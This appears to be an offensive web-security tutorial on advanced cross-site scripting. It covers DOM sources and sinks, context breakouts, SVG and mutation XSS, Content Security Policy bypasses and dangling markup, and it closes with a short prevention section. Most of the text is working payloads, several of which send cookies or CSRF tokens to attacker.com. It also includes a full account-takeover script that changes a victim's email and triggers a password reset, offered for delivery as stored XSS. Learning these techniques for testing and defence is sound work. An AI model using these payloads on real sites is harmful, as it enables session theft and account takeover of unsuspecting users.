1. DOM XSS — Sources, Sinks, and Exploitation
DOM XSS occurs when attacker-controlled data flows from a source into a dangerous sink without sanitization — entirely client-side, invisible to server-side WAFs, and often missed by automated scanners that don't execute JavaScript.
High-Value Sources
// Sources — attacker-controlled input reaching client-side JS
location.search // ?param=value
location.hash // #fragment — never sent to server
location.href
document.referrer
window.name // Persists across cross-origin navigations
document.cookie // If cookie value is attacker-controlled
localStorage / sessionStorage
postMessage data // From cross-origin window messages
WebSocket.onmessage data
Dangerous Sinks
// Sinks — JavaScript that executes or renders HTML
innerHTML / outerHTML
document.write()
document.writeln()
eval()
setTimeout(string) // String form executes as JS
setInterval(string)
new Function(string)
location.href = attacker // If starts with javascript:
location.assign()
location.replace()
element.src // img/script src
jQuery.html()
jQuery.append() with HTML string
$() with attacker HTML
Full DOM XSS Exploitation Example
// Vulnerable code in app.js:
var searchTerm = new URLSearchParams(location.search).get('search');
document.getElementById('results').innerHTML = 'Results for: ' + searchTerm;
// Exploit URL:
https://target.com/search?search=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
// Hash-based source (never sent to server — bypasses server-side filters):
// Vulnerable code:
var role = decodeURIComponent(location.hash.slice(1));
document.getElementById('role').innerHTML = role;
// Exploit:
https://target.com/dashboard#<svg onload=eval(atob('ZmV0Y2goJ2h0..'))>
window.name DOM XSS — Persists Across Navigation
// Vulnerable code reads window.name into innerHTML
document.getElementById('msg').innerHTML = window.name;
// Attacker sets window.name on their domain, then redirects to target:
<script>
window.name = '<img src=x onerror=alert(document.domain)>';
location = 'https://target.com/vulnerable-page';
</script>
// window.name survives cross-origin navigation — payload fires on target
2. DOM XSS via jQuery Selector Injection
jQuery's $() function is a sink when called with a string that starts with < — it creates HTML. Attacker-controlled input passed directly to $() or to any jQuery method that accepts a selector/HTML string is exploitable.
// Vulnerable code:
$(document).ready(function() {
var tab = location.hash.slice(1);
$('.tab-content').hide();
$(tab).show(); // jQuery selector — if tab starts with < it creates HTML
});
// Exploit URL:
https://target.com/dashboard#<img src=x onerror=alert(1)>
// Works in jQuery < 3.5.0 — $() with HTML string creates elements
// Also vulnerable: $.parseHTML, .html(), .append(), .after(), .before()
var userBio = location.search; // ?<svg/onload=alert(1)>
$('#profile').html(userBio); // Sink
3. Stored XSS in Unusual Injection Contexts
Injection Inside a JavaScript String
// Server-rendered JS — user-supplied value embedded in string literal
<script>
var username = 'masaaki';
var welcomeMsg = 'Hello, ' + username;
</script>
// Payload — break out of string, inject JS:
masaaki'; fetch('//attacker.com/?c='+document.cookie)//
// Rendered output:
var username = 'masaaki'; fetch('//attacker.com/?c='+document.cookie)//';
Injection Inside an HTML Attribute
// Server reflects value in attribute:
<input value="masaaki" type="text">
// Payload — break out of attribute, inject new attribute or close tag:
" autofocus onfocus="alert(1)
" onmouseover="alert(1)" x="
// Inside href attribute — javascript: scheme:
<a href="javascript:alert(document.cookie)">Click</a>
// Works when href value comes from DB / user input
Injection Inside JSON Response (Reflected in Script Tag)
// App embeds user data in <script> as JSON:
<script>
var data = {"user": "masaaki", "role": "user"};
</script>
// Payload — break out of JSON string and script context:
</script><script>alert(1)</script>
// Rendered:
var data = {"user": "</script><script>alert(1)</script>", ...};
4. XSS via SVG File Upload
SVG files are XML and execute JavaScript when opened in a browser. If an application allows SVG upload and serves uploaded files from the same origin (or a domain without proper isolation), SVG XSS grants full-origin JavaScript execution.
<!-- malicious.svg — upload this as profile picture -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
<!-- More sophisticated — exfiltrate cookies via fetch -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>
</svg>
<!-- SVG with embedded href navigation -->
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">
<rect width="100" height="100"/>
</a>
</svg>
target.com (not a sandbox domain like uploads.target-cdn.com) and rendered via <img src="..."> that's replaced with an <object> or inline SVG tag, full script execution occurs.
5. XSS in XML/SVG with CDATA Bypass
In XML contexts, special characters (<, >, &) must be escaped. CDATA sections (<![CDATA[...]]>) bypass entity encoding because everything inside a CDATA block is treated as raw character data, not markup. Inside <script> tags within XHTML/SVG/XML documents, CDATA allows JavaScript with special characters.
<!-- In an XHTML or SVG document context -->
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
var x = '</script>';
fetch('https://attacker.com/?d=' + document.cookie);
]]>
</script>
</svg>
<!-- XML parser respects CDATA — </script> inside CDATA does not close the tag -->
<!-- HTML parser does NOT respect CDATA in script — different parse rules -->
<!-- Combined bypass for sanitizers that don't handle CDATA in SVG -->
<svg><script><![CDATA[alert(1)]]></script></svg>
6. Mutation XSS (mXSS)
Mutation XSS exploits discrepancies between how an HTML sanitizer parses markup and how the browser's live DOM parser mutates it on insertion. A sanitizer validates the string and finds it clean; the browser re-parses the sanitized HTML and produces a different, executable DOM tree.
// Sanitizer (DOMPurify pre-2.0.17) processes this as safe:
<table><tbody><tr>
<td><noscript><p title="</noscript><img src=x onerror=alert(1)>"></noscript></td>
</tr></tbody></table>
// DOMPurify serializes and re-parses using innerHTML — table context
// changes namespace handling. The "safe" title attribute content
// becomes executable markup in the re-serialized output.
// Another classic mXSS — MathML to HTML namespace switch:
<math><mtext></math><img src=x onerror=alert(1)></mtext></math>
// Parser sees mtext → img is inside MathML text (safe)
// After innerHTML mutation, img is in HTML namespace (executes onerror)
Always test the current version of DOMPurify and other sanitizers. mXSS bypasses are continually discovered against specific versions. Check the sanitizer version in the target's package-lock.json or bundled JS.
7. CSP Bypass — Nonce Reflected in Page
Content Security Policy with script-src 'nonce-XXXX' is strong only if the nonce is unguessable and not reflected in attacker-controlled output. If the nonce appears anywhere the attacker can read it — even indirectly — it can be extracted and used to whitelist an injected script.
// Target CSP:
Content-Security-Policy: script-src 'nonce-r4nd0mN0nc3' 'strict-dynamic'
// Nonce is included in every <script> tag in the response:
<script nonce="r4nd0mN0nc3" src="/app.js"></script>
// If the nonce is also reflected in user-visible HTML context (e.g., error page):
<p>Invalid request. Nonce: r4nd0mN0nc3</p> <!-- obvious bug -->
// Less obvious: nonce reflected in meta tag or data attribute:
<meta name="csp-nonce" content="r4nd0mN0nc3">
// Attacker reads the nonce, injects script with it:
<script nonce="r4nd0mN0nc3">alert(document.cookie)</script>
// Same-page injection via HTML injection (not necessarily XSS):
// If attacker can inject <base href="..."> they can redirect script src
// to their server — nonce matches, CSP allows it
8. CSP Bypass via JSONP on Whitelisted Domain
If the CSP whitelist includes a domain that hosts a JSONP endpoint, that endpoint can be abused to inject arbitrary JavaScript. JSONP wraps JSON in a callback function call — attacker controls the callback name, making it a script execution primitive.
// Target CSP:
Content-Security-Policy: script-src 'self' https://api.trusted-partner.com
// JSONP endpoint on trusted-partner.com:
GET https://api.trusted-partner.com/user?callback=myFunc
// Returns: myFunc({"id":1,"name":"masaaki"})
// Attacker injects into target page (via XSS or HTML injection):
<script src="https://api.trusted-partner.com/user?callback=alert(document.cookie)//"></script>
// Browser requests the JSONP URL, receives:
alert(document.cookie)//({"id":1,"name":"masaaki"})
// Executes! CSP is satisfied because src is on whitelisted domain.
// Common whitelisted domains with JSONP:
// accounts.google.com, ajax.googleapis.com, yandex.ru,
// uinames.com, flickr.com API endpoints
9. CSP Bypass via Open Redirect on Whitelisted Domain
CSP allows scripts from whitelisted domains. If one of those domains has an open redirect, the redirect can point to attacker-controlled JavaScript. Some browsers follow redirects for script-src validation — if the final destination is the attacker's server but the initial URL is on the whitelist, CSP is bypassed.
// Target CSP:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
// cdn.trusted.com has open redirect:
https://cdn.trusted.com/redirect?url=https://attacker.com/evil.js
// Inject into target page:
<script src="https://cdn.trusted.com/redirect?url=https://attacker.com/evil.js"></script>
// Some browsers: CSP checks initial URL (trusted), follows redirect to attacker
// Older Chrome / Firefox versions were affected
// Modern browsers: CSP checks final URL post-redirect (blocked)
// Still works in some edge cases — always test
// Also works with script-src containing *.googleapis.com if any Google
// endpoint on that domain redirects to external URLs
10. CSP Bypass — Extracting Reflected Nonce via DOM
A more realistic nonce exfiltration: the nonce is not literally printed in the page body, but it's accessible via DOM APIs. If an attacker can execute any JavaScript in the page context (via a sandboxed iframe with allow-scripts, a browser extension, a dangling markup injection that reads it), they can extract it and use it for subsequent injections.
// Read nonce from already-existing script tag:
var nonce = document.querySelector('script').nonce;
// Inject new script with that nonce:
var s = document.createElement('script');
s.nonce = nonce;
s.textContent = 'fetch("https://attacker.com/"+document.cookie)';
document.head.appendChild(s);
// Via injected <link> prefetch (reads nonce from CSP header to guess it):
// This is the "nonce stealing via stylesheet injection" variant:
// If CSS injection is possible, use attribute selector to exfiltrate nonce:
<style>
script[nonce^="a"] { background: url(https://attacker.com/a); }
script[nonce^="b"] { background: url(https://attacker.com/b); }
/* ... enumerate all 62 chars × nonce length */
</style>
11. XSS to Account Takeover Chain
XSS alone is not always the end goal. Full account takeover — changing the victim's email/password — is far more impactful. The standard chain: XSS fires → extract CSRF token → make state-changing request on victim's behalf.
// Step 1: XSS payload fetches account settings page to get CSRF token
fetch('/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
// Step 2: Extract CSRF token from HTML
var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
// Step 3: Change victim's email to attacker-controlled address
return fetch('/account/email/change', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'email=masaaki%40attacker.com&csrf_token=' + encodeURIComponent(token)
});
})
.then(() => {
// Step 4: Trigger password reset — goes to attacker's email
fetch('/password-reset', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=masaaki%40attacker.com'
});
});
Deliver this as a stored XSS payload in a comment, profile field, or product review. Every authenticated user who loads that content is fully compromised within milliseconds.
XSS → Cookie Theft (When HttpOnly is absent)
// Simple cookie theft — only works if session cookie lacks HttpOnly flag
<script>
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>
// Beacon API for stealthy exfil:
navigator.sendBeacon('https://attacker.com/steal', document.cookie);
12. Dangling Markup Injection
When XSS is blocked but partial HTML injection is possible (e.g., < is allowed but <script> and event handlers are filtered), dangling markup injection can still exfiltrate sensitive data. The technique injects an unclosed HTML attribute that causes the browser to treat subsequent page content — including CSRF tokens — as part of the attribute value, which is then sent to the attacker's server via an img tag URL.
// Target page structure (simplified):
<form action="/account/email">
<input name="csrf_token" value="SECRET_CSRF_VALUE">
...
</form>
// Injection point exists above the form. XSS is blocked.
// Inject (angle brackets allowed, script/events blocked):
<img src='https://attacker.com/collect?data=
// Full rendered page after injection:
<p>Hello, <img src='https://attacker.com/collect?data=</p>
<form action="/account/email">
<input name="csrf_token" value="SECRET_CSRF_VALUE">
// Browser sees: src='https://attacker.com/collect?data=</p><form...
// ...input name="csrf_token" value="SECRET_CSRF_VALUE"
// It fetches that URL — delivering CSRF token to attacker.com
// Works even with CSP! img-src 'self' would block it,
// but most CSPs don't restrict img-src tightly.
13. Prevention
Strict CSP with nonces
Use script-src 'nonce-{random}' 'strict-dynamic'. Generate a fresh cryptographically random nonce per response. Never reflect the nonce in attacker-controllable output. Pair with object-src 'none' and base-uri 'self'.
Trusted Types API
Enable Trusted Types (require-trusted-types-for 'script') to prevent DOM sinks from accepting raw strings. Forces all DOM XSS sinks to go through audited policy functions — eliminates the entire DOM XSS class when properly enforced.
DOMPurify (latest) for sanitization
When HTML must be rendered from user input, use DOMPurify at its latest version. Supplement with FORBID_ATTR and FORBID_TAGS to minimize the allowed surface. Never sanitize with a blocklist of your own construction.
HttpOnly + SameSite=Strict cookies
Set HttpOnly on session cookies to prevent JavaScript access. Set SameSite=Strict to mitigate CSRF-via-XSS chains. These are mitigations — they reduce impact but don't prevent XSS execution.
SVG sanitization / sandboxing
Serve user-uploaded SVG files from a separate sandbox domain (e.g., uploads.cdn-sandbox.com) with a strict CSP on that domain. Never serve untrusted SVG inline or from the main application origin.
CSP whitelisting hygiene
Audit every whitelisted domain for JSONP endpoints and open redirects. Never whitelist *.google.com, *.amazonaws.com, or other large CDNs wholesale — they host JSONP endpoints and unsafe content. Prefer hash-or-nonce-based CSP over domain whitelisting.